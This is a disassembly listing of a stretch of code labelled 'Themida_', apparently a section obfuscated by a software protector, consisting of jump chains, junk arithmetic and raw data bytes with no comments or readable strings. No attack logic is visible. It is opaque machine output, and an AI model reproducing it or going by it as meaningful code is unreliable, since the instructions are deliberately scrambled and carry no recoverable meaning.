; ---------------------------------------------------------------------------


loc_569CEC:				; CODE XREF: Themida_:005667A4j
		add	ecx, edx
		pop	edx
		and	eax, ecx
		jmp	loc_56AE6D
; ---------------------------------------------------------------------------
aHk_		db '[hK.',0
		align 4
		dd 0E9240C89h, 0FFFFFF1Fh, 4C481h, 68680000h, 89000037h
		dd 0E3E92434h, 0F7000065h, 0DDE92414h
		db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569D1F:				; CODE XREF: Themida_:0056CBF3j
		dec	ebx
		not	ebx
		inc	ebx
		sub	ebx, 636F9D94h
		mov	edx, ebx
		pop	ebx
		add	[esp+8], edx
		pop	edx
		pop	ebp
		jmp	loc_563BB8
; ---------------------------------------------------------------------------
		db 53h
		dd 0C381E389h, 4, 4EB81h, 1C870000h, 2C895C24h,	6B71BD24h
		dd 8E93F7Fh, 5E0000C3h,	8B240C87h, 8B662424h, 0E9572404h
		dd 0CB50h, 8B57E980h, 0C4812414h, 4, 88CE8852h,	0E9595AF7h
		dd 0FFFFF7A4h
; ---------------------------------------------------------------------------


loc_569D80:				; CODE XREF: Themida_:005732F0j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	ebx
		mov	ebx, 2CA20ED4h
		or	edx, ebx
		pop	ebx
		sub	edx, 3AD95222h
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 7A4025D6h
		neg	eax
		push	4E36h
		mov	[esp], edi
		mov	edi, 5A172EB9h
		or	edi, 73E4184Ch
		xor	edi, 6FEA1F2Fh
		add	edi, 292FF3D1h
		add	edi, 1
		push	edi
		not	dword ptr [esp]
		pop	edi
		shr	edi, 4
		jmp	loc_57284F
; ---------------------------------------------------------------------------
aBUJS_		db 'Ãu;Jêé.Ë',0
		db 0
; ---------------------------------------------------------------------------


loc_569DEB:				; CODE XREF: Themida_:0056D42Dj
		mov	eax, [esp]
		add	esp, 4
		dec	ecx
		jmp	loc_567E7F
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 24048904h, 1076E9h
		db 0
; ---------------------------------------------------------------------------


loc_569E05:				; CODE XREF: Themida_:005636CDj
		mov	[esp], ebp
		push	6582h
		mov	[esp], ecx
		push	ebp
		push	32AC23B0h
		mov	ebp, [esp]
		jmp	loc_561F89
; ---------------------------------------------------------------------------
		dw 47B9h
		dd 8171ED71h, 246F96C1h, 8E9C13Eh, 0E9D1F741h, 754Ch, 30D0BE56h
		dd 0F68159FDh, 0C186FD7h, 0C58FEE81h, 0F0293D95h, 0FFB9E3E9h
		dd 24348BFFh, 0FFAFC3E9h, 4BF57FFh, 57000000h, 30242C81h
		dd 58383D03h, 3D033005h, 8DE95F38h
		db 10h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_569E6F:				; CODE XREF: Themida_:00574B15j
		mov	edx, 427D1D35h
		sub	edi, edx
		pop	edx
		sub	edi, 363360DFh
		xor	edi, 0CCF955B5h
		jmp	loc_56F555
; ---------------------------------------------------------------------------
		dd 0C681E689h, 4, 4BB53h, 22E90000h
		db 0A0h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_569E9B:				; CODE XREF: Themida_:0056EBA0j
		mov	[esp], ebp
		mov	ebp, 109E06DEh
		shr	ebp, 4
		jmp	loc_56F2D0
; ---------------------------------------------------------------------------
		db 56h
		dd 0C6815E54h, 4, 8704C683h, 15C2434h, 243C8BFAh, 4C481h
		dd 14330000h, 24143124h, 8B241433h, 34FF2424h, 2434FF24h
		dd 0E924048Bh, 0FFFFF23Fh
; ---------------------------------------------------------------------------


loc_569EE0:				; CODE XREF: Themida_:005648C2j
		push	4
		pop	ebx
		jmp	loc_575FC9
; ---------------------------------------------------------------------------
		db 83h
		dd 0C8904ECh, 4EC8124h,	89000000h, 0BA522424h, 4, 4245401h
		dd 240C8B5Ah, 4C481h, 3B680000h, 89000050h, 82E92404h
		db 0Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_569F1B:				; CODE XREF: Themida_:00564EABj
		not	ebp
		xor	ebp, 79E9718Fh
		add	ebp, 79AE32D5h
		add	eax, ebp
		pop	ebp
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_576134
; ---------------------------------------------------------------------------


loc_569F43:				; CODE XREF: Themida_:00562AEDj
		push	ebp
		push	69977C9Dh
		pop	ebp
		not	ebp
		or	ebp, 75412AE6h
		jmp	loc_56C9DE
; ---------------------------------------------------------------------------
		db 0FFh
a4Sh		db '4$]éhµ',0
		align 10h
		dd 4C581h, 5680000h, 89000000h,	4B9240Ch, 1000000h, 2C8759CDh
		dd 24248B24h, 4C7A6852h, 0E9E90000h
		db 13h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_569F87:				; CODE XREF: Themida_:0056EA77j
		add	edx, 1CB210F2h
		pop	ecx
		push	edi
		mov	edi, 404B6F53h
		sub	edi, 404B6F4Fh
		add	edx, edi
		pop	edi
		jmp	loc_562481
; ---------------------------------------------------------------------------
		dd offset loc_418364+4
		dw 0E900h
		dd 7924h, 4EC8151h, 89000000h, 97E92424h, 8B00008Ah, 9768241Ch
		dd 0E9000066h, 0FFFF7D44h
; ---------------------------------------------------------------------------


loc_569FC8:				; CODE XREF: Themida_:0056F340j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 23480A40h
		sub	ebx, ecx
		pop	ecx
		pop	edi
		push	edx
		mov	edx, 0
		add	edx, ebx
		mov	ecx, [edx]
		jmp	loc_56C674
; ---------------------------------------------------------------------------


loc_569FE9:				; CODE XREF: Themida_:00565307j
		pop	eax
		push	esi
		jmp	loc_56F325
; ---------------------------------------------------------------------------


loc_569FF0:				; CODE XREF: Themida_:005650DEj
		pop	esp
		jmp	loc_56CF5D
; ---------------------------------------------------------------------------


loc_569FF6:				; CODE XREF: Themida_:005653C6j
		xor	edi, 68A13002h
		push	eax
		push	edi
		mov	edi, 6F131A41h
		mov	eax, edi
		pop	edi
		not	eax
		add	eax, 9EE32A16h
		jmp	loc_568316
; ---------------------------------------------------------------------------
		dw 74B8h
		dd 0E9791D60h, 99A2h, 710568h, 240C8900h, 0FAFBCCB9h, 0C5EF81BFh
		dd 10C917Ch, 0C5C781CFh, 0E90C917Ch, 0C0CFh, 10E8C381h
		dd 0D989B429h, 1B18BF5Bh, 0C7811AE1h, 0FD33ABAh, 0EF81CF29h
		dd 0FD33ABAh, 81D7E9h, 0C1015F00h, 8904EC83h, 50512404h
		dd 0FFBFEAE9h, 78EABBFFh, 0D8010F88h, 0E9E8015Bh, 0FFFFF1D5h
		dd 5324048Fh, 0FFE12CE9h, 243C8BFFh, 6804C483h,	9D8h, 0BE243489h
		dd 4, 0BFE9F129h
		db 46h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56A09F:				; CODE XREF: Themida_:005750A4j
		pop	edi
		xchg	ebp, [esp]
		mov	esp, [esp]
		xor	edi, 77EE17F1h
		jmp	loc_5637BA
; ---------------------------------------------------------------------------


loc_56A0B1:				; CODE XREF: Themida_:005681C9j
		add	ebx, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_566085
; ---------------------------------------------------------------------------


loc_56A0C1:				; CODE XREF: Themida_:00564DF2j
		mov	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	edx, 63EC232Eh
		add	edx, edi
		add	edx, 63EC232Eh
		pop	edi
		pop	ebx
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_56F7AC
; ---------------------------------------------------------------------------
		db 89h
		dd 0F9B82404h, 257F6A3Ah, 781F63C6h, 0C92E2B05h, 50EF350Dh
		dd 895585D3h, 4976E9C5h, 2C890000h, 3BBEE924h, 45680000h
		dd 89000070h, 0FF542434h, 3CE92434h, 83000042h,	68E904C4h
		dd 1FFFF9Eh, 3C8B5FFAh,	4C48124h, 0E9000000h, 61CCh, 5C243C87h
		dd 24048966h, 0B210E9h,	4C48100h, 53000000h, 349EE9h
		db 0
; ---------------------------------------------------------------------------


loc_56A151:				; CODE XREF: Themida_:00574C9Dj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_56E275
; ---------------------------------------------------------------------------
		db 1
		dd 643105F8h, 815F011Ah, 4ECh, 24048900h, 0FFAF15E9h, 0EAEB81FFh
		dd 0E9424A2Ah, 0A16Eh, 24048F5Eh, 7152E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56A18A:				; CODE XREF: Themida_:0056F71Bj
		or	eax, ecx
		pop	ecx
		neg	eax
		push	ecx
		jmp	loc_56E420
; ---------------------------------------------------------------------------
		db 81h,	2 dup(0F5h)
		dd 812D1D43h, 3899B7C5h, 5DE82976h, 16E9D8F7h, 81FFFFF2h
		dd 6A7E2E9h, 6EE1E950h,	5168FFFFh, 5F3A3B3Dh, 7CC4C781h
		dd 53E96307h
		db 0A9h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_56A1C7:				; CODE XREF: Themida_:0057524Fj
		pop	ebx
		sub	al, 0C3h
		push	dword ptr [esp]
		pop	ebx
		push	1767h
		jmp	loc_5758B8
; ---------------------------------------------------------------------------


loc_56A1D8:				; CODE XREF: Themida_:0056250Dj
		add	edi, 652B05A5h
		sub	eax, 70620F5h
		jmp	loc_563D16
; ---------------------------------------------------------------------------
		dd offset dword_4F1348+320h
		dd 24148900h, 0D849A7BAh, 1EA8178h, 0F7000000h,	5EF281DAh
		dd 818727B6h, 153E20C6h, 0C55EE958h, 0E181FFFFh, 41AD7756h
		dd 68535550h, 0E3F6C75h, 87C3815Bh, 89FE40BFh, 0B4B85BDDh
		dd 314E0373h, 0C1815DE8h, 2B179C9h, 1490E981h, 0C10179FDh
		dd 1490C181h, 2FE979FDh, 0B8FFFFEFh, 57F100D4h,	0B16B2135h
		dd 7F2D4856h, 1BB7902h,	33E958C2h, 1000077h, 0E2C281F2h
		dd 5E59925Ah, 8124048Bh, 4C4h, 8DE95500h, 0FF000067h, 669D1C77h
		dd 241CD259h, 9E20E99Ch, 0E95A0000h, 0FFFF94EAh
; ---------------------------------------------------------------------------


loc_56A28C:				; CODE XREF: Themida_:005731D8j
		xchg	ebx, [esp]
		pop	esp
		push	4849h
		mov	[esp], ebx
		jmp	loc_562B89
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 2
		dd 68000000h, 4D88h, 0FF240C89h, 59042474h, 0E924048Fh
		dd 962Eh, 0BD8EB81h, 0D3015F9Dh, 0BD8C381h, 148B5F9Dh
		dd 4C48324h, 68685156h,	5978BA1Bh, 0F49C981h, 50534FCCh
		dd 1E099B8h, 0C9A9E980h, 8B66FFFFh, 54512404h, 85E959h
		dd 0C9FE0000h, 8904EC83h, 486240Ch, 86C8FE24h, 68592404h
		dd 0
		dd 4E242C80h, 80240C28h, 8A4E2404h, 0C483240Ch,	17F18004h
		dd 2859C380h, 0F50DE9CBh, 8B66FFFFh, 0EC83240Ch, 243C8904h
		dd 243C8B54h, 837EE9h, 48F6600h, 66566624h, 660002BEh
		dd 2247401h, 8F665E66h,	68662404h, 8966269Eh, 6866241Ch
		dd 0F8E90002h, 87000060h, 64F7E9D6h, 685A0000h,	0D52h
		dd 89240C89h, 40E957E1h, 810000B2h, 4C1h, 4E98300h, 0E9240C87h
		dd 0FFFFD70Dh
; ---------------------------------------------------------------------------


loc_56A388:				; CODE XREF: Themida_:00562F08j
		mov	ecx, 40EE0FE3h
		xor	edx, ecx
		pop	ecx
		jmp	loc_5745C8
; ---------------------------------------------------------------------------
		db 81h,	0F3h, 7Bh
		dd 8B67EA10h, 0C481242Ch, 4, 4EC8152h, 89000000h, 25B9240Ch
		dd 5150324Bh, 33240481h, 5A07480Eh, 0E33EA81h, 0F5E90748h
		dd 59000000h, 3537E9h
		db 0
; ---------------------------------------------------------------------------


loc_56A3CD:				; CODE XREF: Themida_:0057699Bj
		add	esp, 4
		add	edi, 0A25DC6DCh
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_56D0BD
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 6824048Bh, 595Eh, 0FF9F3CE9h, 241C33FFh, 0C89665Ch
		dd 6C38E924h, 8195FFFFh, 4430DF5h, 0E9E90158h, 586Fh
; ---------------------------------------------------------------------------


loc_56A418:				; CODE XREF: Themida_:00561ACEj
		sub	eax, 0F7DF77F1h
		add	ebx, eax
		jmp	loc_56D97A
; ---------------------------------------------------------------------------
		dd 59CB015Dh, 10D7BE56h, 814E052Bh, 0C25130F6h,	0E8C6815Bh
		dd 87762B56h, 38A0E9EEh, 814F0000h, 7E5820F7h, 4EC8361h
		dd 0BB241C89h, 21276A0h, 2258E381h, 0E3C17FBDh,	70E94B08h
		dd 5BFFFFB1h, 6CF68059h, 0A3FE9h, 0D8295E00h, 2E060805h
		dd 0CDBF5716h, 0E959232Ah, 1230h, 8F04C483h, 248B2404h
		dd 0CA895224h, 241C8B52h, 0FF7139E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56A495:				; CODE XREF: Themida_:00573287j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5761B0
; ---------------------------------------------------------------------------
		dw 7AB9h
		dd 81570B09h, 1D22F5C1h, 0D5E9814Fh, 92B22C8h, 240C8BCBh
		dd 0E9E38953h, 8418h, 4EAC159h,	0FFEB23E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56A4C5:				; CODE XREF: Themida_:0056F3F0j
		sub	ecx, 10386358h
		sub	ecx, 3F3A2F5Ah
		add	eax, [ecx]
		push	dword ptr [esp]
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5654CF
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 6E92404h,	830000BCh, 0C8904ECh, 0C127E924h
		dd 7405FFFFh, 503376D7h, 0D829585Bh, 4655055Bh,	0EC814D21h
		dd 4, 0E9242C89h, 0FFFFE4BAh, 71ABE956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A51E:				; CODE XREF: Themida_:005745A3j
		mov	[esp], ecx
		mov	ecx, 4
		add	ebp, ecx
		mov	ecx, [esp]
		jmp	loc_565D4D
; ---------------------------------------------------------------------------


loc_56A530:				; CODE XREF: Themida_:0056FA57j
		mov	[esp], eax
		jmp	loc_568A6B
; ---------------------------------------------------------------------------
		dd 895BDD31h, 0CB26E9E8h, 0EC80FFFFh, 21F480FEh, 5335B753h
		dd 1246C80h, 0F2E95BFFh, 0B7FFFFC6h, 0FFE700A4h, 0E9582434h
		dd 0FFFFBEF2h, 0CA80DAF6h, 0EEEA80A3h, 0F65AD400h, 54B551D4h
		dd 59C580h, 0D09BE9ECh,	0D029FFFFh, 155AE95Ah, 1C310000h
		dd 241C3324h, 6624248Bh, 0E9240C8Bh, 0FFFFF171h, 24048F5Bh
		dd 76B685Ch, 0ECE90000h, 5200000Eh, 8904EC83h, 6FBB241Ch
		dd 0E936AF2Ah, 0A3D3h, 15A3C381h, 0D3295412h, 15A3EB81h
		dd 34FF5412h, 9B34E924h, 1C890000h, 240C8724h, 0FFD801E9h
		dd 244481FFh, 5A293604h, 244C010Ah, 68565104h, 1B577E34h
		dd 6919E9h, 4DE98000h, 0E9A0E980h, 320Bh, 0C104E3C1h, 0EB8103EBh
		dd 4969A70Eh, 0FF84CAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56A60D:				; CODE XREF: Themida_:00574FBAj
		pop	edx
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ebx, 1Ch
		sub	ebx, 66BE3975h
		add	ebx, edi
		push	11EDh
		mov	[esp], edi
		push	edx
		mov	edx, 716635Bh
		mov	edi, 13CB2B19h
		xor	edi, 58F23824h
		sub	edi, 0DD64766Dh
		add	edi, 31666330h
		sub	edi, edx
		sub	edi, 31666330h
		jmp	loc_573E7F
; ---------------------------------------------------------------------------
		db 29h
		dd 0DCE95EF5h, 28FFFFA1h, 666D2CC8h, 4CE95159h
		db 0B3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A673:				; CODE XREF: Themida_:00561106j
		push	edx
		jmp	loc_5743EF
; ---------------------------------------------------------------------------
		db 2Ch,	15h, 28h
		dd 5A1504D0h, 0D828AE2Ch, 0AEB25266h, 0D0001604h, 0FF7B40E9h
		dd 243C89FFh, 4BFh, 4E1B6800h, 3C890000h, 4EC8124h, 89000000h
		dd 27B9240Ch, 0C116BE7Bh, 814904E1h, 399CBE9h, 244481FEh
		dd 0E2691904h, 244C2960h, 246C8104h, 0E2691904h, 18E95960h
		db 8Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56A6D3:				; CODE XREF: Themida_:00570ABEj
		sub	edi, 4
		push	4140h
		mov	[esp], edi
		jmp	loc_574674
; ---------------------------------------------------------------------------


loc_56A6E3:				; CODE XREF: Themida_:00569813j
		pop	edx
		add	esp, 4
		or	eax, eax
		jz	loc_56B636
		push	dword ptr [edi+1Ch]
		push	esi
		mov	esi, 1B320405h
		push	ebx
		push	edx
		mov	edx, 10DB24B2h
		sub	edx, 1
		push	ecx
		jmp	loc_5628F6
; ---------------------------------------------------------------------------


loc_56A70B:				; CODE XREF: Themida_:005766DFj
		push	ecx
		push	edx
		push	ecx
		mov	ecx, 6EA56BF6h
		and	ecx, 61BD70F7h
		shr	ecx, 6
		add	ecx, 20F19299h
		mov	edx, ecx
		jmp	loc_561690
; ---------------------------------------------------------------------------
aSsi@		db 'SéI@',0
		dw 8100h
		dd 4C6h, 0D4E1E900h, 0C328FFFFh, 0E9B5B252h, 0FFFF9885h
		dd 5A5B585Bh, 0E9590A88h, 0FFFF68F2h
; ---------------------------------------------------------------------------


loc_56A750:				; CODE XREF: Themida_:00575158j
		push	dword ptr [esp]
		jmp	loc_575A04
; ---------------------------------------------------------------------------
		dd 66E9FA89h, 8100002Bh, 4C4h, 243C3300h, 33243C31h, 248B243Ch
		dd 310AE924h, 0C5810000h, 707752F2h, 0FF89BDE9h, 4C481FFh
		dd 8F000000h, 248B2404h, 0AB0F6624h, 0E99C2404h, 0AAA7h
		dd 137AF381h, 0D9897018h, 32EB815Bh, 1166C40h, 5C5AE9CBh
		dd 0D3310000h, 83C4E95Ah, 0EC810000h, 4, 68241489h, 0A900BBA4h
		dd 992DE95Ah, 74FF0000h, 3C8B0424h, 0FFABE924h,	0E953FFFFh
		dd 1F5Fh, 0C5151705h, 24348B72h, 6804C483h, 7902h, 68241489h
		dd 7196h, 0E9240C89h, 1A32h
; ---------------------------------------------------------------------------


loc_56A7FC:				; CODE XREF: Themida_:005610DBj
		pop	ebp
		push	ebp
		jmp	loc_56CBE3
; ---------------------------------------------------------------------------


loc_56A803:				; CODE XREF: Themida_:0056BADBj
		push	edx
		mov	edx, 0EFE2771h
		shl	edx, 8
		jmp	loc_56E69A
; ---------------------------------------------------------------------------


loc_56A811:				; CODE XREF: Themida_:0056CF7Ej
		inc	eax
		add	eax, 248923C4h
		mov	edi, eax
		pop	eax
		push	ebx
		mov	ebx, 4E9039DCh
		jmp	loc_575A1F
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
aSB		db '$é*B',0
		align 2
		dw 5B04h
		dd 83240C8Bh, 0D80004C4h, 50E78957h, 2B0276B8h,	0BD2D4842h
		dd 407F1F4Eh, 3502E0C1h, 0C2ECEE0h, 0E6E9C701h,	1000054h
		dd 75CDE9EFh, 0C3810000h, 5B8548F1h, 0D25E9h, 66C30000h
		dd 0E5B25251h, 0E0B05066h, 5866C228h, 0F280CAFEh, 0B1516604h
		dd 66CA3024h, 81240C8Bh, 2C4h, 5AD18800h, 5966CB00h, 66C0B60Fh
		dd 6824148Bh, 33B2h, 81240489h,	4ECh, 8CF9E900h, 0C4830000h
		dd 240C8704h, 0D324248Bh, 0E99C240Ch, 0B13Fh, 8952C7FEh
		dd 4C281E2h, 81000000h,	2EAh, 24148700h, 1489665Ch, 0E9D0B224h
		dd 0BD44h, 8DC0B60Fh, 67688704h, 0E9000030h, 77C3h
; ---------------------------------------------------------------------------


loc_56A8F0:				; CODE XREF: Themida_:00573962j
		pop	esp
		mov	[esp], esi
		push	4
		mov	esi, [esp]
		jmp	loc_56C02B
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 4EC8353h, 81242489h,	42404h,	555B0000h, 1D58ABBDh, 7E5C115h
		dd 0FFFFC581h, 0F581FFFFh, 8EAC557Bh, 348DEB81h, 0C381490Fh
		dd 59F17956h, 0EB81EB01h, 59F17956h, 348DC381h,	0F9E9490Fh
		dd 5F0000AFh, 0B9E9D801h, 81000000h, 2C4h, 3EFC000h, 2120E9h
		dd 24048F00h, 6624248Bh, 5724148Bh, 243C8B54h, 81E68956h
		dd 4C6h, 0B1C4E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A97A:				; CODE XREF: Themida_:00571418j
		add	edx, ebp
		sub	edx, 6B6D157Bh
		pop	ebp
		push	7F76h
		mov	[esp], ebx
		mov	ebx, 4DBB7159h
		inc	ebx
		jmp	loc_572350
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 6F6E0A32h, 7687CD81h, 814D7B87h, 825569CDh, 0F5814D5Ch
		dd 30DBB5BEh, 515DE901h, 5938428Fh, 3DEA68h, 241C8900h
		dd 0F10704BBh, 0F2E9515Fh, 0BB000018h, 66B80A2Ch, 0FFF667E9h
		dd 81E289FFh, 4C2h, 4EA8100h, 87000000h, 47E92414h
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56A9EB:				; CODE XREF: Themida_:00562A12j
		push	ebp
		mov	ebp, 4
		add	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		push	dword ptr [esp+4]
		jmp	loc_562732
; ---------------------------------------------------------------------------
		dd 4D1E2D5Bh, 7052D31h,	14FB822h, 22072DD8h, 0E3E94FB8h
		dd 560000A4h, 0B03F8DBEh, 6EEC108h, 0C0FAF681h,	3AE90022h
		dd 810000A4h, 4C6h, 4EE8100h, 0E9000000h, 0FFFF8849h, 0FF2434FFh
		dd 68592434h, 128Dh, 54240C89h,	587E959h, 34FF0000h, 2434FF24h
		dd 51240C8Bh, 0C181E189h, 4, 8704C183h,	515C240Ch, 2D68E189h
		dd 89000032h, 4BF243Ch,	81000000h, 0DB6EEDC1h, 81F9010Ch
		dd 0DB6EEDE9h, 0BF575F0Ch, 4, 335FF901h, 92E9240Ch, 87FFFFD0h
		dd 815C243Ch, 0B50754C1h, 0D4F18163h, 2927BAD6h, 0EB8159CBh
		dd 0BAD031Eh, 0BD55C301h, 0BAD031Eh, 0FFEF92E9h, 240433FFh
		dd 33240431h, 248B2404h, 0B3E95624h
		db 99h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56AADB:				; CODE XREF: Themida_:00572F7Dj
		add	cl, 5Ch
		mov	dh, cl
		pop	ecx
		jmp	loc_561E94
; ---------------------------------------------------------------------------


loc_56AAE6:				; CODE XREF: Themida_:0056492Ej
		push	esi
		push	ebx
		jmp	loc_56E196
; ---------------------------------------------------------------------------


loc_56AAED:				; CODE XREF: Themida_:0056FE3Cj
		push	3E1Dh
		mov	[esp], ecx
		jmp	loc_5666E2
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 6BC6479Ch, 9FE9F787h, 0B8FFFFE0h, 40CA75EFh,	5B77E9h
		dd 0F1814900h, 675C68BFh, 0D196E953h, 0E089FFFFh, 405h
		dd 4E88300h, 8B240487h,	4892424h, 3DE95124h, 81FFFF7Ah
		dd 0FD428DEEh, 412D5B2Ch, 12CA649h, 494105F0h, 565E2CA6h
		dd 2BEh, 5D5E2D00h, 0F02937B9h,	0B95D5E05h, 24348B37h
		dd 4C481h, 4330000h, 0CA69E924h, 6C81FFFFh, 5FB90424h
		dd 6C012D30h, 0B9510424h, 2D305FB9h, 8244C01h, 48F5D59h
		dd 13A46824h, 14890000h, 0FE89E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56AB96:				; CODE XREF: Themida_:0056E4BCj
		add	edx, edi
		sub	edx, 19D12A08h
		sub	edx, 4771591Ch
		jmp	loc_5623CC
; ---------------------------------------------------------------------------
		db 81h,	0CAh, 21h
		dd 0E913415Fh, 9D13h, 8108E9C1h, 904629F1h, 0F1814930h
		dd 0CF49F3DDh, 127BEA81h, 0B1E90145h
		db 0BDh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_56ABCF:				; CODE XREF: Themida_:00576A2Fj
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 611C2069h
		neg	ebx
		jmp	loc_56DEBD
; ---------------------------------------------------------------------------
		dw 0C283h
		dd 24148704h, 0BC3805Ch, 0FFFCE7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56ABF9:				; CODE XREF: Themida_:00573161j
		sub	ebp, edx
		pop	edx
		pop	ecx
		jmp	loc_565F67
; ---------------------------------------------------------------------------
		dw 0EEC1h
		dd 81D6F705h, 46CA8CEEh, 8BF0019Ch, 0C4832434h,	0E9515304h
		dd 2B37h, 42Dh,	24048700h, 2434895Ch, 0BF57E689h, 4, 0FFAC33E9h
		dd 2BC381FFh, 126BF5Ah,	2BEB81EBh, 8B26BF5Ah, 0C481242Ch
		dd 4, 6963E9h, 4C58100h, 81000000h, 4EDh, 8705E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56AC62:				; CODE XREF: Themida_:00564B38j
		pop	ebx
		push	esi
		mov	esi, 4
		sub	edx, esi
		pop	esi
		xchg	edx, [esp]
		pop	esp
		jmp	loc_56C80D
; ---------------------------------------------------------------------------


loc_56AC75:				; CODE XREF: Themida_:00575C92j
		push	dword ptr [esp]
		jmp	loc_5739D0
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0FF63BDE9h, 0F82966FFh, 1B862D66h, 6305665Fh, 0BC2D6602h
		dd 0D801661Ah, 3EA3E9h,	2643B800h, 0E8C1081Eh, 0CE5DE902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56ACAA:				; CODE XREF: Themida_:0056DF4Aj
		mov	edx, [esp]
		jmp	loc_561723
; ---------------------------------------------------------------------------
		dw 1433h
		dd 24143124h, 0FFAD35E9h, 5FFA89FFh, 0FFF8F3E9h, 2434FFFFh
		dd 5724048Bh, 0C7815F54h, 4, 4C781h, 3C870000h,	76685C24h
		dd 89000037h, 7668243Ch, 83000051h, 248904ECh, 24048124h
		dd 4, 5724048Fh, 4BFh, 246C8100h, 67280904h, 2B1E939h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56AD0E:				; CODE XREF: Themida_:0056B8EEj
		add	eax, 57DF169Dh
		pop	ebp
		sub	eax, 2A1F136Dh
		push	61B8h
		jmp	loc_576ADC
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0BD55565Ah, 10667188h, 0D666C581h, 0EE892A26h, 7816E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56AD3A:				; CODE XREF: Themida_:005671FBj
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_56F72D
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 4C481h, 4DE90000h, 66FFFFD6h, 88E88850h, 66C288D5h
		dd 0E9D18858h, 98B8h, 4C681h, 34870000h, 48F5C24h, 24248B24h
		dd 24040966h, 5E75E99Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56AD7E:				; CODE XREF: Themida_:00566B34j
		dec	edi
		shl	edi, 6
		xor	edi, 4F2107EBh
		jmp	loc_5643B9
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0FF62ADE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56AD95:				; CODE XREF: Themida_:0056D635j
		pop	edi
		push	esi
		mov	esi, 59B16261h
		and	esi, 6BEF0D46h
		xchg	edx, esi
		push	esi
		mov	esi, 0FFFFFFFFh
		sub	edx, esi
		pop	esi
		xchg	edx, esi
		dec	esi
		jmp	loc_563CC0
; ---------------------------------------------------------------------------
		db 56h,	54h, 5Eh
		dd 6827BF57h, 0EF816601h, 66016823h, 0E95FFE01h, 0FFFFFF98h
		dd 0BF57h, 0AAE90000h
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56ADD7:				; CODE XREF: Themida_:005643D6j
		pop	edx
		sub	eax, 181A5DE8h
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	6679h
		mov	[esp], ebp
		mov	ebp, esp
		push	edx
		jmp	loc_571E83
; ---------------------------------------------------------------------------
		dw 8959h
		dd 2434FFDEh, 4C4835Bh,	4247431h, 2434FF5Eh, 4C48158h
		dd 68000000h, 2AB8h, 0B9240C89h, 61996A20h, 85FCE9h, 4C28100h
		dd 81000000h, 2C2h, 0A256E900h,	0BF570000h, 42F72E1Bh
		dd 704FF781h, 24E970A7h
		db 6Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56AE43:				; CODE XREF: Themida_:0056EBA7j
		push	3DE2h
		jmp	loc_573ACE
; ---------------------------------------------------------------------------


loc_56AE4D:				; CODE XREF: Themida_:0057013Aj
		mov	[esp], ecx
		add	dword ptr [esp], 0FE564D4h
		pop	eax
		sub	eax, 0FE564D4h
		jmp	loc_56AE99
; ---------------------------------------------------------------------------


loc_56AE62:				; CODE XREF: Themida_:005700E6j
		add	esi, ebp
		pop	ebp
		shr	esi, 2
		jmp	loc_565D3A
; ---------------------------------------------------------------------------


loc_56AE6D:				; CODE XREF: Themida_:00569CF1j
		mov	ecx, [esp]
		add	esp, 4
